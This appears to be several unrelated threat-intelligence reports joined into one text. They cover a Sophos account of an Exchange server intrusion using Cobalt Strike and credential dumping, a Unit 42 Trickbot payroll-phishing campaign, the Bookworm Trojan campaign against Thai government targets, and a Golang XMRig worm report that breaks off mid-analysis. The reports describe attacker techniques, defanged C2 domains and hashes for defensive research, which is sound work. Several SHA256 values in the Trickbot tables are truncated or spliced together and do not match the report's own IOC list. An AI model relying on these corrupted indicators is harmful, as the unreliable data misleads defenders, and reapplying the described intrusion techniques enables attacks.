What made the attack stand out was the attackers’ use of an unusual combination of commercial remote management tools not typically observed during the early phases of attacks, and the attackers’ careful avoidance of some of the more obvious (and forensically noisy) techniques we typically observe in attacks like this, such as the widespread use of RDP to take control of machines inside the network. They did, however, scan the network and deploy Cobalt Strike as they moved from machine to machine.
During the incident, which took place over a period of just over two weeks, the attackers dumped stored credentials from the Exchange server and then leveraged some of those credentials to pivot to other machines in the network. They also used a commercial remote access software tool called Remote Utilities and limited their use of RDP within the network to just one session per machine, possibly as an attempt to remain below the radar.
## The initial attack phase, and its tooling
The vulnerable server was compromised on March 16th, when a log entry reveals that the attacker leveraged two vulnerabilities – CVE-2021-26855 and CVE-2021-27065 – in order to execute a malicious PowerShell command on the server.
Within the next 90 minutes, the attackers had enumerated the Domain Administrator accounts from the now-compromised computer, dumped the credentials from memory so they could work on cracking the passwords offline, and had modified a Registry key on the computer that forced it to clear any stored credentials from memory. This final action would force any users to log in using their current password the next time they used the machine.
The password dump file was left in a location where the attackers could retrieve it directly from the public-facing web interface of Outlook Web Access, but where it would not be obvious to employees who used the server to check their email.
The attackers took a one-day break and returned on March 18th to begin moving laterally through the target’s network and to establish multiple new footholds on different machines. They dumped the credentials from memory a second time and used WMI and PowerShell to issue commands on other machines on the network.
This was clearly an information-gathering and “establishing control over lots of machines” phase of the attack, as the threat actors mapped the network using a tool called ADRecon and identified additional machines they would later pivot to. They used PowerShell commands to dump memory from LSASS on some of these other internal machines remotely and then pulled those dump files back to the Exchange server – their initial foothold – for retrieval and offline extraction of more credentials.
They also took this opportunity to set up a backdoor into the network by executing the first of several malicious payloads on the Exchange server – an open-source utility called Chisel, which its GitHub page describes as “a fast TCP/UDP tunnel, transported over HTTP, secured by SSH.” While Chisel, like ADRecon, isn’t inherently malicious, it obviously can be used that way, as it was here.
The attackers also ran a command that remotely installed a PowerShell backdoor (named bot.ps1) and a script that pulled down and executed a Cobalt Strike payload (called cobalt.ps1) on multiple machines on the network.
## Attackers find expediency outweighs security
For all the effort involved, the attackers did not employ particularly good security, themselves. They created accounts named admin on several machines (with a password of “P@ssw0rd“) and added them to the Administrators group.
But they didn’t log on with these accounts; rather, as the day went on, they used the credentials that belonged to network administrators extracted from the LSASS memory dumps to connect from one machine to another, just one time over Remote Desktop, executing their bot.ps1 tool on the remote machine.
They also used this access to install a commercial IT helpdesk access tool called Remote Utilities, and three days later, a Cobalt Strike beacon (signed with a stolen digital certificate that, as of this writing, currently passes validation), on some machines.
The Cobalt Strike beacon was a DLL that was given a random name and executed from the C:\Windows\Temp directory by a command issued through the bot.ps1 backdoor. These payloads were all signed by a Sectigo-issued certificate assigned to OASIS COURT LIMITED, with validity that does not expire until the end of 2021, tied to a yahoo.com email address.
The attackers then went silent for more than a week. On March 27, they returned and tried to execute another Cobalt Strike beacon in memory, but were prevented from doing so by our endpoint protection tools. On March 29, they performed reconnaissance of the Active Directory server (using one of the administrators’ stolen credentials), exported the results to a series of CSV files, then compressed those into a single Windows .cab archive file.
## Running a remote script
The attackers continued their slow-roll approach, only taking a small number of actions on any given day for the next few days. Sophos detected and stopped the execution of another Cobalt Strike beacon on March 30 and blocked a PowerShell command that would have deployed the bot.ps1 backdoor to four more servers the attackers had identified. They then recompiled the Cobalt Strike beacon in an attempt to evade our detection and tried again on March 31.
By April 1, the attackers had begun to use the commercial Remote Utilities tool to open a connection from a computer based in Paris to one of the targeted internal servers. They used this connection to deliver a number of malware files, including a copy of Mimikatz and a new PowerShell script named p.ps1, and to create new users with administrative privileges on additional machines. They also named one of the Chisel executable payloads Sophos.exe and tried to drop it into the Windows directory and execute it.
On April 2, the targeted company decided to engage with Sophos Rapid Response to deal with the growing problem. Within a few hours, we had identified a number of malicious programs they had delivered onto the network. The attack appeared to be a precursor to delivering ransomware to the entire corporate IT infrastructure, but our intervention prevented any further harm from being done.
## Handcrafted tools used in the attack
In addition to the PowerShell remote access tool, bot.ps1, the threat actors created a series of other PowerShell scripts, which they deployed as modules to enhance the core functionality of bot.ps1. These were run across the target’s network in an attempt to conduct reconnaissance and give themselves the privileges they needed to complete the attack.
- **Module_AMSIBypassMaybe_regthrgrwfgterw.ps1**: a dropper that delivers either a 32-bit or 64-bit DLL as a payload, and then patches the payload’s entry code in an attempt to defeat AMSI-based malware detection.
- **Module_RunPsExecMaybe.ps1**: Despite its name, this module has nothing to do with the Windows PSExec utility. It creates a service entry that runs a PowerShell backdoor it refers to as a “RemoteBulletFile.”
- **Module_ADRecon.ps1**: A one-line script that literally just calls the PowerShell script for ADRecon directly from its GitHub page.
- **Module_RunByWMI.ps1**: A script that copies the PowerShell backdoor to a remote computer. The only difference between it and Module_RunPsExecMaybe.ps1 is this version includes a variable called $urlConsole that defines a command-and-control address.
- **Module_GetAllServers.ps1**: Collects information about the current domain and any physical or virtual machines hosted in the domain.
- **Module_GetDomainControllers.ps1**: Collects information about the domain controllers, including its hostname, operating system version, and its operational status.
- **Module_EnumerateAdmins.ps1**: Collects domain admin, enterprise admin, and domain user information.
- **Module_Mod-EnumerateHyperV.ps1**: Enumerates and collects information about HyperV virtual machines within a domain.
## Lessons learned from the attack
The threat actors engaged in this attack were canny and evasive. They tried to stay below the radar by avoiding using RDP extensively and by using commercially-available IT management tools to conceal the true nature of their work. Despite gaining initial access through a “low hanging fruit” Exchange server, they understood they might only have a limited window in which to gain the level of access they needed in order to deliver a final payload.
Fortunately in this case, the target never was hit with this destructive payload. Quick action by Labs and MTR ensured that the attackers’ actions were countered by reactions that prevented them from doing more damage. The greatest harm they caused resulted in the organization requiring all employees to change their passwords.
In most attacks of this nature we investigate, the eventual deliverable is usually a ransomware payload. When attackers begin to see their customized tooling get blocked by security products, they often rapidly escalate to deploy ransomware before they lose all access to the network. The countermeasures Sophos deployed effectively prevented them from taking that final step.
The target told their Sophos team that they thought they had patched the Exchange server correctly and then had tested whether the server was compromised using some scripts provided by Microsoft. Unfortunately, they relied too heavily on those scripts, which Microsoft had subsequently revised. The initial tests showed the server had not been compromised, but the follow-up tests using the revised scripts revealed that the server had, in fact, been taken over. While it was a useful exercise to run the “have I been compromised” scripts, it also serves as a cautionary tale that organizations should not rely on a test script alone to give themselves peace of mind.
Sophos also learned a valuable lesson in dealing with these attackers: It pays dividends to recognize the hallmarks of an active attack, even if the attackers are using tooling you’re unfamiliar with. Detecting the launch of Cobalt Strike in memory is just one such hallmark and helped convince the customer that a serious (potentially very costly) attack was actively underway even though we didn’t observe many of the other common indicators of an attack, such as widespread use of RDP over a prolonged period of time, which would have appeared in log entries.
## Detections and indicators of compromise
Sophos detects the payloads involved in this attack and others like it as Mem/Meter-A, Troj/PSDrop-CV, AMSI/Cobalt-E, or Troj/PS-FX. SophosLabs has published indicators of compromise relating to this attack to our GitHub page.
## Acknowledgments
SophosLabs wishes to thank Peter Mackenzie, Vikas Singh, Gabor Szappanos, and the Rapid Response team for their help protecting this customer and producing the research that underlies this report. |
# TrickBot Campaign Uses Fake Payroll Emails to Conduct Phishing Attacks
**By Bryan Lee, Brittany Barbehenn, Mike Harbison**
**December 9, 2019**
**Category:** Cloud, Malware, Unit 42
**Tags:** Bot, cloud malware, Cybercrime, GSuite, Phishing, Trickbot
## Executive Summary
By using a combination of Cortex XDR and the AutoFocus contextual threat intelligence service, Unit 42 discovered a recent Trickbot campaign leveraging legitimate cloud service providers to obfuscate malicious delivery behavior. Trickbot is a well-known, modular credential stealer first discovered in 2016. It has been thought to be a descendent of another well-known credential stealer called Dyreza, or Dyre, due to similarities in functionalities and codebase. Due to its modularity, operators of Trickbot are able to gain access to different functions and capabilities by retrieving additional modules from the command and control (C2) servers. These include capabilities such as a worming function (i.e., copying itself to other devices), email inbox parser, and network reconnaissance.
Between November 7 - 8, 2019, Unit 42 identified a Trickbot distribution campaign delivered via phishing emails with subject lines using topics around payroll or annual bonuses shown below:
- “Re: <Company Name> annual bonus document is ready”
- “Re: annual bonus form for <name>”
- “RE: <name> Payroll notification”
- “RE: <Company Name> Payroll notification”
Generally, Trickbot and similar tools have been largely associated with using malspam with malicious document attachments as the delivery mechanism of choice by their operators likely due to ease-of-use, relatively low resource cost, and high success rates. In this campaign, instead of solely relying on email attachments, the adversaries included links to what appeared to be a legitimate Google Docs document which itself contained links to malicious files hosted on Google Drive. To further obfuscate the malicious activity, the adversaries leveraged a legitimate Email Delivery Service (EDS) called SendGrid to distribute the initial emails, and also hide the Google Drive links in the documents behind a SendGrid URL.
Once the user is fully redirected to the file hosted on Google Drive, an executable file is downloaded. This executable is a downloader tool designed to retrieve a Trickbot payload. Similar behavior was observed in August 2019 by Cofense.
## Attack Details
The emails sent by the attackers appeared to originate from individuals at .edu email addresses which were likely compromised by the adversary. They then used SendGrid’s EDS to distribute the actual emails. This would have increased their likelihood of bypassing email filters, as it is a popular service used by organizations around the world. The body of the emails contained lure text consistent with the subject lines and links that utilized a SendGrid function called Click Tracking which sends a notification back to the sender of the email for tracking purposes.
Once the victim clicks on the links, they are redirected to a Google Doc document which has a link to a file hosted on Google Drive. This file is a simple downloader which has a single function of retrieving the Trickbot payload then executing it on the victim host.
In this campaign, we identified two downloaders:
| Phishing Theme | File Name | SHA256 |
|------------------|--------------------------|--------------------------------------------------|
| Annual bonus | StatementReport.exe | b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a |
| Payroll | Preview_Report.exe | f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6 |
Both of these downloaders are signed by PERISMOUNT LIMITED and appear as Microsoft Word documents to Windows users. Due to default settings in most Windows deployments of not displaying file extensions, these files will not appear as obvious executables to a victim. Once these files are executed by the victim, a decoy pop-up is displayed to reduce suspicion of any malicious behavior. Regardless of whether or not the user hits “OK” or closes the pop-up window, the file will still proceed with the download and installation of the Trickbot payload. The payload in this case is a file named MHk6kyiq.Z6O and is saved in the user’s temp directory where it is eventually executed.
Using Cortex XDR and AutoFocus, we observed that once the files were executed by the victim, they would then retrieve the corresponding Trickbot payload from a first stage C2 server. Analyzing these domains indicate that they are owned by legitimate organizations which suggests the adversaries were able to compromise the legitimate servers and hijack them to be a part of their delivery infrastructure. This tactic further increases the chance of evasion by the adversary as it is unlikely these domains would be categorized as malicious and in some cases, may actually have legitimate business use cases for the targeted organizations.
| Downloader | C2 | Trickbot Payload File | SHA256 |
|---------------------------|--------------------------------------------------|-----------------------|--------------------------------------------------|
| StatementReport.exe | savute[.]in/supp.php | nfdsus12.exe | d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d897 |
| Preview_Report.exe | lindaspryinteriordesign[.]com/supp.php | nfdusdarm.exe | 7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b |
The two payloads, nfdsus12.exe and nfdusdarm.exe, were immediately identified as Trickbot by the AutoFocus threat intelligence service via the tagging system. AutoFocus tags are groupings of behaviors that are designed to immediately identify specific malware families, threat actors, campaigns, or exploits. These tags are developed and maintained by the Unit 42 research team and are continuously updated as threats evolve.
This specific variant appeared to be a newer version of Trickbot, using the file path %APPDATA%\cashcore to store its files and configurations. Once the payload is executed, it will spawn a child process (svchost.exe) in a suspended state, replace the memory with malicious code, and resume the process. The technique is known as process hollowing. From there, basic system information is collected, and it will attempt to communicate to its second-stage C2 infrastructure to retrieve additional modules.
Using Cortex XDR and its data analytics processing engine, we were able to validate this activity via the causality chain function.
This workflow illustrates the described attack chain:
1. Initial downloader, statementreport.exe is executed by the user.
2. Performs an HTTPS GET request to savute[.]in/supp.php.
3. Payload file MHk6kyiq.Z6O is downloaded to the victim and saved in the user’s temp folder.
4. Payload is executed by the downloader and the downloader terminates.
5. Payload is renamed to дввшгаоа.exe and copied to the users %APPDATA%\cashcore directory.
6. File versioninfo.ini is created in the %APPDATA%\cashcore directory. This file is similar to older Trickbot variants that use the file settings.ini. Unlike settings.ini, versioninfo.ini is not encrypted or obfuscated, but contains random data to appear like a legitimate ini file.
7. дввшгаоа.exe spawns an instance of svchost.exe which spawns another instance of svchost.exe which is then injected with the Trickbot payload. In this example, a built-in network recon module was run, which enumerated the victim host and network.
8. For persistence, this Trickbot variant created a scheduled task named System cache service which is scheduled to run at user logon and upon initial execution checks itself every 11 minutes to see if it is already running.
## The Wider Campaign
Using AutoFocus, we used the string supp.php within the URL as a pivot point to search for any other files that were delivered from that URL. An additional five samples were discovered that were also all tagged as Trickbot, making a total of seven samples. These samples used a different C2 delivery server, but behaviorally were the same. The two additional C2 servers also appeared to be legitimate domains which had likely been compromised and hijacked by the adversaries. Details about these samples can be seen in the table below.
| Date Observed | C2 | Trickbot Payload | SHA256 |
|---------------|--------------------------------------------|---------------------------|--------------------------------------------------|
| 11/7/19 | clementeolmos[.]com/supp.php | erfd1.exe | 24e3fa3e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0 |
| 11/19/19 | maisonmarielouise[.]org/supp.php | SetupDesktop.exe | dc8f259b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f |
## Conclusion
By using a combination of Cortex XDR and AutoFocus, Unit 42 researchers were able to rapidly identify and discover behaviors associated with a newer Trickbot campaign without significant manual analysis. In this campaign, we discovered the adversaries leveraging legitimate services such as SendGrid and GSuite in an effort to obfuscate malicious activity. With the wider adoption of various cloud services by most organizations, these types of tactics should be expected to occur with even more frequency as these are additional avenues that can be abused by an adversary to evade detection.
In this campaign, due to the abuse of legitimate cloud services, the detection and prevention of the initial delivery may have been more challenging than if the adversaries had used their own infrastructure. However, having a policy, such as preventing unknown executable files to be downloaded or executed on the endpoint, may help prevent these attacks from succeeding against businesses.
## Indicators of Compromise
### Trickbot Downloader Samples
- f8aaf313cc213258c6976cd55c8c0d048f61b0f3b196d768fbf51779786b6ac6
- b8c2329906b4712caa0f8ca7941553b3ed6da1cd1f5cb70f1409df5bc1f0ee4a
### Trickbot Payload Samples
- 7d6ff8baebedba414c9f15060f0a8470965369cbc1088e9f21e2b5289b42a747
- d1e0902fd1e8b3951e2aec057a938db9eebe4a0efa573343d89703482cafb2d8
- 24e3fa3fb1df9bd70071e5b957d180cd51bcf10bab690fa7db7425ca6652c47c
- e9fd22631de9c918ac834eb14e01c76aa4d33069c7622daafcd03b4f1574aad0
- d7687e1d98484b093e8da7fb666b2d644197fc3ea22b3931a6150c259479b0c6
- dc8f259fb55a330d1a8e51d913404651b8d785d4ae8c9c655c57b4efbfe71a64
- b3d2e7158620ece90fbc062892db55bf564c6154eb85facab57a459e3bd1156f
### Trickbot Payload URLs
- savute[.]in/supp.php
- lindaspryinteriordesign[.]com/supp.php
- maisonmarielouise[.]org/supp.php
- clementeolmos[.]com/supp.php |
# Bookworm Trojan Analysis
Unit 42 recently published a blog on a newly identified Trojan called Bookworm, which discussed the architecture and capabilities of the malware and alluded to Thailand being the focus of the threat actors’ campaigns.
In this blog, we will discuss the current attack campaign along with the associated threat infrastructure and the actor’s tactics, techniques, and procedures (TTPs). The following list provides a summary of the threat actors' TTPs, which we will cover in this blog:
- Actively attacking targets in Thailand, specifically government entities.
- Uses Bookworm Trojan as the payload in attacks.
- Has access to compromised servers that they use to download Bookworm.
- Known to use spear-phishing as the attack vector to compromise targets, but have access to compromised web servers that could facilitate strategic web compromise (SWC) as an attack vector in the future.
- Uses standalone Flash Player to play slideshows that contain pictures of current events in Thailand as decoy documents, but also use the legitimate Flash Player installation application as a decoy in some instances.
- Uses date codes to track campaigns or Trojan versions. If date codes are indeed used for campaign identifiers, then the dates precede attacks or current events seen in decoys by 6 to 18 days, which provides a glimpse into the development and operational tempo of this group.
- Use of large command and control (C2) infrastructure, which heavily favors dynamic DNS domains for C2 servers.
- Deployed Poison Ivy, PlugX, FFRAT, and Scieron malware families.
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand. Readers who are interested in this campaign should start with our first blog that lays out the overall functionality of the malware and introduces its many components.
Unit 42 does not have detailed targeting information for all known Bookworm samples, but we are aware of attempted attacks on at least two branches of government in Thailand. We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoy documents, as well as several of the dynamic DNS domain names used to host C2 servers that contain the words “Thai” or “Thailand.”
Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand.
As mentioned in our previous blog on Bookworm, the Trojan sends a static date string to the C2 server that we referred to as a campaign code. We believed that the actors would use this date code to track their attack campaigns; however, after continued analysis of the malware, we think these static dates could also be a build identifier for the Trojan. It is difficult to determine the exact purpose of these static date codes with our current data set, but we will cover both possibilities in the next sections. While we currently favor the theory that these dates act as campaign codes, we extracted the following unique date codes from all known Bookworm that suggests the threat actors began their campaign in June or July 2015:
- 20150626
- 20150716
- 20150801
- 20150818
- 20150905
- 20150920
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier. A Trojan sending a build identifier to its C2 server is quite common, as it notifies the threat actors of the specific version of the Trojan in which they are interacting. As mentioned in our previous blog, Bookworm is fairly complex based on its modular framework, which suggests that the threat actors would need to know the exact version of the Trojan they are communicating with in order to install appropriate supplemental modules.
While a plausible premise, our data set does not fully support the hardcoded dates in Bookworm samples as a build identifier. To attempt to confirm the dates acting as a build ID, we extracted all of the modules for each Bookworm sample. We then compared the modules of each Bookworm sample that had the same date values. Most of the modules were identical amongst Bookworm samples using the same date string, but several samples had differing modules yet the same date string.
For instance, the following table shows two sets of Bookworm samples with the “20150716” and “20150818” date codes that have completely different Leader.dll modules.
| Date Code | Leader.dll Module | Compile Date |
|-----------|-------------------|--------------|
| 20150716 | e602a12e8173ca17ba4a0c6c12a094c1 | 2015-07-18 |
| 20150716 | 4537257cb69a467a63c5a561825571f9 | 2015-07-23 |
| 20150818 | e6cb32805bc5d758a5ea1dcd3c05beb8 | 2015-08-24 |
| 20150818 | 7065c709dd9dc7072dd5a5e2904c2d78 | 2015-08-31 |
If the Bookworm developers used the date code as a build identifier, it would suggest that a new date code would have been added to samples using the new Leader module. Due to these changes without a new date string, we believe the date codes are used for campaign tracking rather than a Bookworm build identifier. Unit 42 will continue to compare the date codes to the Bookworm modules in future samples and will modify our assessment if indications suggest the date string is indeed a build identifier.
We believe that Bookworm samples use the static date string as campaign codes, which we used to determine the approximate date of each attack that we did not have detailed targeting information. We also compared these campaign codes to the date the attacks occurred or the date of the event seen in decoy documents to get a sense of the threat group’s internal operations.
A number of the Bookworm samples include a decoy that is opened during installation of the malware in an attempt to disguise the compromise. The threat actors have used two types of decoys thus far: a legitimate Flash Player installation application and a standalone Flash application to display a photo slideshow. The use of a Flash Player installer suggests that the threat actors are using social engineering to instruct the victim to update or install the Flash Player application. The Bookworm campaign code “20150818” was used in all samples associated with these legitimate Flash Player installers.
Unit 42 has witnessed six decoy slideshows used in a Bookworm campaign targeting Thailand. All six of these decoy slideshows contain pictures that in some manner relate to Thailand. One known decoy includes an animation of what appears to be children in Thailand going to temple, which is associated with a spear-phishing attack on a branch of the Thailand government that occurred on July 27, 2015. The decoy’s filename is “wankaophansa.exe” that suggests the animation is regarding Wan Kao Phansa, which is a term for the first day of the three-month-long rainy season. Wan Kao Phansa is a national holiday in Thailand, which in 2015 started on July 31. The attack occurred four days before the actual holiday and had a campaign code of “20150716”, which is eleven days before the attack took place.
We do not have detailed targeting information on the attacks that delivered the remaining five decoy slideshows. To determine the approximate date of these attacks, we compared the Bookworm campaign code associated with each decoy slideshow and found that they coincide with the timeline of events seen in the photos in the decoy slideshows.
Three of the decoys analyzed are related to the August 17, 2015 bombing near the Erawan Shrine in Bangkok, Thailand. The campaign code “20150801” is associated with the decoy slideshow showing the graphic Erawan Shrine bombing, which is 16 days before the actual event took place.
The second bombing-related decoy contained pictures of the arrest of a bombing suspect named Adem Karadag. This arrest was made on August 29, 2015, which is 11 days after the campaign code “20150818” that was associated with the decoy slideshow.
The third and final bombing-related decoy slideshow contains pictures of Adem Karadag reenacting his role in the bombing for police. This reenactment is a standard procedure for Thai police, which in this particular case took place on September 26, 2015. The campaign code “20150920” is associated with this decoy, which is six days before the actual event took place.
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015. Bike for Dad is a cycling event that will be held on December 11, 2015, to commemorate the King of Thailand Bhumibol Adulyadej’s 88th birthday. Many high-profile figures in Thailand are promoting this event, such as the Prime Minister Prayut Chan-o-cha who is seen in many of the images in the decoy slideshow.
The campaign code “20150920” is associated with this decoy, which is a week prior to media articles announcing that the Crown Prince of Thailand Maha Vajiralongkorn will lead the Bike for Dad 2015 event. At first, we believed the use of the Bike for Dad 2015 event was unrelated to the previous Erawan Shrine bombing decoys. However, according to the same announcement article, the Crown Prince said that the bike route would pass the Ratchaprasong intersection, which is where the Erawan Shrine bombing took place. Therefore, the threat actors using this within their social engineering attempts continues to follow the theme involving the bombing of the shrine in Bangkok, as it is undoubtedly still in the hearts and minds of the Thai people.
The final remaining known decoy includes photos of Chitpas Tant Kridakon, who is known as the heiress to the largest brewery in Thailand. Chitpas is heavily involved with Thai politics and was a core leader of the People’s Committee for Absolute Democracy (PCAD), which is an organization that staged anti-government campaigns in 2013 and 2014. As recently as September 2015, Chitpas has been in the news for her attempts to become an officer in the Royal Thai Police force, which has caused protests due to her political stance. Two of the images in the slideshow can be seen in an article that was published on September 20, 2015. These images were associated with the Bookworm campaign code “20150905”.
By comparing the campaign codes with the dates of known attacks or the date of the events shown in the decoys, we found that the campaign codes precede the attack or event dates by 6 to 18 days. The campaign code date preceding the attack or associated events suggests that the threat actors perform development operations on their tools and then choose their decoy. These decoy documents also suggest that the threat actors actively track current news events and use photographs from the media to create their decoy slideshows.
Unit 42 analyzed the systems communicating with the Bookworm C2 domains and found that a majority of the IP addresses existed within autonomous systems (ASN) located in Thailand. The vast majority (73%) of the hosts are geographically located in Thailand, which matches the known targeting of this threat group. We believe that the IP addresses from Canada, Russia, and Norway are analysis systems of antivirus companies or security researchers. The IP addresses in South Korea prove interesting and could suggest that this threat group has carried out an attack campaign on targets in that locale as well. However, we’ve found no additional evidence to corroborate this theory.
We took the IP addresses seen communicating with Bookworm C2 servers and obtained their geographic coordinates using an IP geolocation database and plotted them on a map. A majority of the IP addresses in Thailand have coordinates in the Bangkok metropolitan area, with one in the southern town of Pattini and one in the Phanat Nikhom District of the Chonburi Province. IP geolocation systems are not perfectly accurate, but the data suggests that most of the compromised hosts exist near the largest city of Bangkok. This grouping of compromised hosts also aligns with the known targeting, as Bangkok and Nonthaburi is where a majority of the government of Thailand exists.
Bookworm-related infrastructure created by threat actors mainly involves the use of dynamic domains; however, an early sample used a fully qualified domain name (FQDN) owned by the actor. The actors also appear to have access to legitimate servers that they use to host Bookworm and other related tools for attacks. Overall, the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools, including FFRAT, Poison Ivy, PlugX, and others.
Unit 42 has seen threat actors hosting Bookworm and other related tools on legitimate websites, which suggests the actors have unauthorized access to these servers. We have witnessed Bookworm samples hosted on a website belonging to the following organizations:
- Two branches of government in Thailand
- Thai Military
- A Taiwanese Labor Association
Three of the four compromised web servers have been breached in the past, with each being listed on Zone-h as being defaced, while the remaining site was defaced by the TURKHACKTEAM, according to a Google cache from November 11, 2015. The specific details of how the actors gained access to these sites is unclear; however, one site has a publicly accessible form that would allow visitors to upload files to the web server. Unit 42 believes that threat actors could have uploaded Bookworm to this server using this form. It is also possible that the threat actors uploaded an ASP shell to gain further control over this web server. We also speculate that these threat actors may use strategic web compromises (SWC) as an attack vector in future campaigns using their unauthorized access to web servers.
The domains hosting Bookworm C2 servers connect to a larger infrastructure that the threat actors are using to host C2 servers for other tools in their toolset. So far, Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT, PlugX, Poison Ivy, and Scieron Trojans, suggesting that the threat actors use these tools as the payload in their attacks.
Unit 42 enumerated the threat infrastructure related to Bookworm and created a chart to visualize connected entities to its current attack campaign. The infrastructure is fairly complex and has many overlaps with other toolsets.
The overlap between Bookworm, PlugX, and Poison Ivy samples involves the use of the Smart Installer Maker, which is a common technique used by this threat group. In one particular case, a sample of the Smart Installer Maker installed both a PlugX and Poison Ivy Trojan that communicated with domains that resolved to an IP address that also resolved a Bookworm C2 domain.
As previously mentioned, the infrastructure related to Bookworm is fairly complex with many connections to domains hosting C2 servers for other tools. The related infrastructure and associated malware can be seen in the table below.
| Domain | Malware Family/Cluster |
|----------------------------------------|------------------------|
| web12.nhknews[.]hk | Bookworm |
| systeminfothai.gotdns[.]ch | Bookworm |
| bkmail.blogdns[.]com | Bookworm |
| thailandbbs.ddns[.]net | Bookworm |
| blog.nhknews[.]hk | Bookworm |
| news.nhknews[.]hk | Bookworm |
| sysnc.sytes[.]net | Bookworm |
| debain.servehttp[.]com | Bookworm |
| sswmail.gotdns[.]com | Bookworm |
| sswwmail.gotdns[.]com | Bookworm |
| ubuntudns.sytes[.]net | Bookworm, FFRAT |
| linuxdns.sytes[.]net | Bookworm, FFRAT |
| www.chinabztech[.]com | FFRAT |
| www.tibetonline[.]info | FFRAT |
| 3h01.dwy[.]cc | FFRAT |
| www.vxea[.]com | FFRAT |
| bdimg.s.dwy[.]cc | FFRAT |
| nine.alltosec[.]com | FFRAT |
| www.rooter[.]tk | FFRAT |
| wucy08.eicp[.]net | FFRAT |
| welcome.dnsd[.]info | FFRAT |
| www.ifilmone[.]com | FFRAT |
| pcal2.dwy[.]cc | FFRAT |
| luotuozhizhu.blog.163[.]com | FFRAT |
| office.alltosec[.]com | FFRAT |
| ftpseck.ftp21[.]net | FFRAT |
| wuzhiting.3322[.]org | FFRAT |
| qemail.gotdns[.]com | FFRAT |
| googleupdating[.]com | FFRAT |
| welcometohome.strangled[.]net | FFRAT |
| zz.alltosec[.]com | FFRAT |
| back.rooter[.]tk | FFRAT |
| products.alltosec[.]com | FFRAT |
| windowsupdating[.]net | FFRAT |
| app.rooter[.]tk | FFRAT |
| hkemail.f3322[.]org | FFRAT |
| pcal2.yahoolive[.]us | FFRAT |
| happy.tftpd[.]net | PlugX |
| weather.webhop[.]me | PlugX |
| ns1.vancouversun[.]us | PlugX |
| n5579a.voanews[.]hk | PlugX |
| hope.jumpingcrab[.]com | PlugX |
| news.nowpublic[.]us | PlugX |
| web.vancouversun[.]us | PlugX |
| news.voanews[.]hk | PlugX |
| bugatti.from-wa[.]com | PlugX |
| web.voanews[.]hk | PlugX |
| ns3.yomiuri[.]us | PlugX |
| tree.crabdance[.]com | PlugX |
| supercat.strangled[.]net | PlugX |
| webupdate.strangled[.]net | PlugX |
| breaknews.mefound[.]com | PlugX |
| succ.gotdns[.]com | Poison Ivy, PlugX |
| imail.gotdns[.]com | Poison Ivy, PlugX |
| wmail.gotdns[.]com | Poison Ivy, PlugX |
| xxcase.gotdns[.]com | Poison Ivy |
| romadc.homelinux[.]com | Poison Ivy |
| 3389temp.dyndns[.]org | Poison Ivy |
| ahcase.gotdns[.]com | Poison Ivy |
| kcase.gotdns[.]com | Poison Ivy |
| 3389pi.servegame[.]org | Poison Ivy |
| flashcard.gotdns[.]com | Poison Ivy |
| kr-update.homelinux[.]com | Poison Ivy |
| 3389.homeunix[.]org | Poison Ivy |
| flashgame.gotdns[.]com | Poison Ivy |
| anhei.gotdns[.]com | Poison Ivy |
| xcase.gotdns[.]com | Poison Ivy |
| education.suroot[.]com | Scieron |
| server.organiccrap[.]com | Scieron |
| pricetag.deaftone[.]com | Scieron |
| apple.dynamic-dns[.]net | Scieron |
| williamsblog.dtdns[.]net | Scieron |
| will-smith.dtdns[.]net | Scieron |
| durant.dumb1[.]com | Scieron |
We made connections between domains seen in the table through shared stolen code signing certificates, other PE build commonalities, passive DNS data, and direct C2 domain overlap. The domains connected using passive DNS all share common IP addresses used to resolve the domain.
Threat actors have targeted the government of Thailand and delivered the newly discovered Bookworm Trojan since July 2015. The actors appear to follow a set playbook, as the observed TTPs are fairly static within each attack in this campaign. The threat actors have continually used Flash Player installers and Flash slideshows for decoys. The decoy slideshows all contain photos from very meaningful events to individuals in Thailand, suggesting that the actors continually look for impactful events to use to disguise their attacks.
The vast majority of systems communicating with Bookworm C2 servers are within the Bangkok metropolitan area where a majority of the government of Thailand exists. While the current campaign has targeted the Thai government, Unit 42 believes the threat actors will target other governments to deliver Bookworm in future campaigns. |
# Early Bird Catches the Worm: New Golang Worm Drops XMRig Miner on Servers
**December 29, 2020**
**Written by Avigayil Mechtinger**
## Intro
In early December, we discovered a new, undetected worm written in Golang. This worm continues the popular 2020 trend of multi-platform malware developed in Golang. The worm attempts to spread across the network in order to run XMRig Miner on a large scale. The malware targets both Windows and Linux servers and can easily maneuver from one platform to the other. It targets public facing services; MySQL, Tomcat admin panel, and Jenkins that have weak passwords. In an older version, the worm has also attempted to exploit WebLogic’s latest vulnerability: CVE-2020-14882. During our analysis, the attacker kept updating the worm on the Command and Control (C&C) server, indicating that it’s active and might be targeting additional weak configured services in future updates.
## Technical Analysis
The attack uses three files: a dropper script (bash or powershell), a Golang binary worm, and an XMRig Miner—all of which are hosted on the same C&C. The ELF worm binary and the bash dropper script are both fully undetected in VirusTotal at the time of this publication.
The malware behaves similarly on both Linux and Windows operating systems. We will describe the Linux worm flow below.
### Linux Worm Flow
Upon execution, the worm checks if a process on the infected machine is listening on port 52013. The existence of a listener on this port functions as a mutex for the malware. If a socket for the port is already open, the instance exits; otherwise, it opens a network socket on the port. In the older version, the worm will then unpack the XMRig Miner as Network01 to the tmp folder and run it. The miner is embedded within the Golang binary using a Go resource embedding package called go-bindata. The bindataFile functions are used by the malware to unpack the embedded XMRig Miner binary.
The malware will scan the network using TCP SYN in order to find services it can brute force and spread over the network. It will scan for IPs that have open ports related to these services: 8080 for Tomcat and Jenkins, 3306 for MySQL, and 7001 for WebLogic on older versions of the worm. Each of these exploits has a package under the src “exp” (exploit) code.
